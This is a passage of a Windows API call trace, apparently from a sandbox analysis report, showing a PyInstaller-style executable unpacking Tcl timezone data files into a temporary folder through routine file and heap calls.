RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.801] CloseHandle (hObject=0x10c) returned 1 [0040.801] GetLastError () returned 0x0 [0040.801] SetLastError (dwErrCode=0x0) [0040.801] GetLastError () returned 0x0 [0040.801] SetLastError (dwErrCode=0x0) [0040.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.801] GetFileType (hFile=0x10c) returned 0x1 [0040.801] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.801] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.801] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.801] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.801] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.801] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.801] CloseHandle (hObject=0x10c) returned 1 [0040.801] GetLastError () returned 0x0 [0040.801] SetLastError (dwErrCode=0x0) [0040.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.801] GetFileType (hFile=0x10c) returned 0x1 [0040.801] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.801] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.802] CloseHandle (hObject=0x10c) returned 1 [0040.802] GetLastError () returned 0x0 [0040.802] SetLastError (dwErrCode=0x0) [0040.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.802] GetFileType (hFile=0x10c) returned 0x1 [0040.802] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.802] CloseHandle (hObject=0x10c) returned 1 [0040.802] GetLastError () returned 0x0 [0040.803] SetLastError (dwErrCode=0x0) [0040.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yakutsk") returned 69 [0040.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yakutsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\yakutsk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.803] GetLastError () returned 0x2 [0040.803] SetLastError (dwErrCode=0x2) [0040.803] GetLastError () returned 0x2 [0040.803] SetLastError (dwErrCode=0x2) [0040.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yakutsk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yakutsk", lpFilePart=0x0) returned 0x44 [0040.803] GetLastError () returned 0x2 [0040.803] SetLastError (dwErrCode=0x2) [0040.803] GetLastError () returned 0x2 [0040.803] SetLastError (dwErrCode=0x2) [0040.803] GetLastError () returned 0x2 [0040.803] SetLastError (dwErrCode=0x2) [0040.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yakutsk") returned 69 [0040.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yakutsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\yakutsk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.803] GetFileType (hFile=0x10c) returned 0x1 [0040.803] htonl (hostlong=0xe080000) returned 0x80e [0040.803] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.803] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x80e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x80e, lpOverlapped=0x0) returned 1 [0040.804] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.804] CloseHandle (hObject=0x10c) returned 1 [0040.804] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.805] htonl (hostlong=0x30000000) returned 0x30 [0040.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.805] GetFileType (hFile=0x10c) returned 0x1 [0040.805] htonl (hostlong=0xbd2f5b00) returned 0x5b2fbd [0040.805] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fdfbd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.805] htonl (hostlong=0x1f020000) returned 0x21f [0040.805] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21f) returned 0x550600 [0040.805] htonl (hostlong=0x1f020000) returned 0x21f [0040.805] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.805] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.805] htonl (hostlong=0x14080000) returned 0x814 [0040.805] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x814) returned 0x55e278 [0040.805] htonl (hostlong=0x1f020000) returned 0x21f [0040.805] htonl (hostlong=0x14080000) returned 0x814 [0040.805] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.805] CloseHandle (hObject=0x10c) returned 1 [0040.805] GetLastError () returned 0x0 [0040.805] SetLastError (dwErrCode=0x0) [0040.805] GetLastError () returned 0x0 [0040.805] SetLastError (dwErrCode=0x0) [0040.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.806] GetFileType (hFile=0x10c) returned 0x1 [0040.806] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.806] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.806] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.806] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.806] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.806] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.806] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.806] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.806] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.806] CloseHandle (hObject=0x10c) returned 1 [0040.806] GetLastError () returned 0x0 [0040.806] SetLastError (dwErrCode=0x0) [0040.806] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.806] GetFileType (hFile=0x10c) returned 0x1 [0040.806] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.806] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.806] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.806] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.806] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.806] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.806] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.806] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.807] CloseHandle (hObject=0x10c) returned 1 [0040.807] GetLastError () returned 0x0 [0040.807] SetLastError (dwErrCode=0x0) [0040.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.807] GetFileType (hFile=0x10c) returned 0x1 [0040.807] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.807] CloseHandle (hObject=0x10c) returned 1 [0040.807] GetLastError () returned 0x0 [0040.807] SetLastError (dwErrCode=0x0) [0040.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yekaterinburg") returned 75 [0040.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yekaterinburg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\yekaterinburg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.807] GetLastError () returned 0x2 [0040.807] SetLastError (dwErrCode=0x2) [0040.807] GetLastError () returned 0x2 [0040.807] SetLastError (dwErrCode=0x2) [0040.808] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yekaterinburg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yekaterinburg", lpFilePart=0x0) returned 0x4a [0040.808] GetLastError () returned 0x2 [0040.808] SetLastError (dwErrCode=0x2) [0040.808] GetLastError () returned 0x2 [0040.808] SetLastError (dwErrCode=0x2) [0040.808] GetLastError () returned 0x2 [0040.808] SetLastError (dwErrCode=0x2) [0040.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yekaterinburg") returned 75 [0040.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yekaterinburg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\yekaterinburg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.808] GetFileType (hFile=0x10c) returned 0x1 [0040.809] htonl (hostlong=0x14080000) returned 0x814 [0040.809] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.809] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x814, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x814, lpOverlapped=0x0) returned 1 [0040.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.810] CloseHandle (hObject=0x10c) returned 1 [0040.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.810] htonl (hostlong=0x30000000) returned 0x30 [0040.810] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.810] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.810] GetFileType (hFile=0x10c) returned 0x1 [0040.810] htonl (hostlong=0xdc315b00) returned 0x5b31dc [0040.810] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fe1dc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.810] htonl (hostlong=0xc020000) returned 0x20c [0040.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20c) returned 0x550600 [0040.810] htonl (hostlong=0xc020000) returned 0x20c [0040.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.810] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.810] htonl (hostlong=0xdd070000) returned 0x7dd [0040.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7dd) returned 0x55e278 [0040.811] htonl (hostlong=0xc020000) returned 0x20c [0040.811] htonl (hostlong=0xdd070000) returned 0x7dd [0040.811] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.811] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.811] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.811] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.811] CloseHandle (hObject=0x10c) returned 1 [0040.811] GetLastError () returned 0x0 [0040.811] SetLastError (dwErrCode=0x0) [0040.811] GetLastError () returned 0x0 [0040.811] SetLastError (dwErrCode=0x0) [0040.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.811] GetFileType (hFile=0x10c) returned 0x1 [0040.811] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: 